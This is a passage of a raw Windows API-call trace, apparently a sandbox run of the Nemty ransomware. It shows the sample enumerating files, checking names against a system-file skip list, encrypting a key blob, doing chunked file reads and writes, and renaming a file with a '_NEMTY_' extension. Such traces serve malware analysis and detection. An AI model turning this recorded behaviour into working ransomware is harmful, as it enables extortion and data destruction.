[0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.040] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".") returned 1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="..") returned 1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="...") returned 1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="windows") returned -1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="rsa") returned -1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="NTDETECT.COM") returned -1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="ntldr") returned -1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="MSDOS.SYS") returned -1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="IO.SYS") returned 1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="boot.ini") returned 1 [0099.040] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="boot.ini") returned 1 [0099.041] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0099.041] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="ntuser.dat") returned -1 [0099.041] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="desktop.ini") returned 1 [0099.041] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="CONFIG.SYS") returned 1 [0099.041] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="RECYCLER") returned -1 [0099.041] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0099.041] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="bootmgr") returned 1 [0099.041] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="programdata") returned -1 [0099.041] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="appdata") returned 1 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll.mui", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll.mui", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSProfilerCore.dll.mui", lpUsedDefaultChar=0x0) returned 22 [0099.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll.mui", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll.mui", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSProfilerCore.dll.mui", lpUsedDefaultChar=0x0) returned 22 [0099.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll.mui", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll.mui", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSProfilerCore.dll.mui", lpUsedDefaultChar=0x0) returned 22 [0099.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll.mui", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll.mui", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSProfilerCore.dll.mui", lpUsedDefaultChar=0x0) returned 22 [0099.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0099.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0099.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0099.041] Sleep (dwMilliseconds=0x5) [0099.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeeae3e90, dwHighDateTime=0x1d561e7)) [0099.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeeae3e90, dwHighDateTime=0x1d561e7)) [0099.042] GetLastError () returned 0x5 [0099.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.042] GetLastError () returned 0x5 [0099.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0099.042] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0099.042] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0099.043] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0099.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0099.043] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="wFQQ5ZHuro2TbO4agcEiEvf7QJUdb1bAFZcVWu4fi1vNbdo3wUfyX0sVKKWv1Zlr\r\nbSmRCIntOU6ovlLRzrRquVNNHqVVGI3a3/zNs+gxapj4ZUqv/5BaPy1of/8z1vvV\r\nGV0MWX0RtH1C5rmtdO/vUOpUJwItw7xZsLAoIAZUoVxV9O7GYHzSHBJ3Cxj1zIrU\r\nAUqUzbm/p1uCm8jhLB+WJ5FoZPcTMMHmT3uif7NzEipEFUoZyJO64FbDhXNpDU08\r\n8dMxNrHAQuKQyc+o/C14gOkkGavnkCgwCDSs8hdFSmf5plhycRzXkDtPyv3pfuEu\r\n8b1nrlUtNVVRfoL2uEProg==\r\n", pcchString=0x653ef9c) returned 1 [0099.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0099.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0099.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0099.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0099.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0099.043] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.043] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0099.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0099.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0099.150] CloseHandle (hObject=0xffffffff) returned 0 [0099.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0099.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0099.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0099.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0099.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0099.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0099.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0099.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0099.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui._nemty_kgobjgd_")) returned 0 [0099.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0099.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0099.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0099.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0099.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0099.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0099.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.151] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="..") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="...") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="windows") returned -1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="rsa") returned -1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="NTDETECT.COM") returned -1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="ntldr") returned -1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="MSDOS.SYS") returned -1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="IO.SYS") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="boot.ini") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="boot.ini") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="ntuser.dat") returned -1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="desktop.ini") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="CONFIG.SYS") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="RECYCLER") returned -1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", 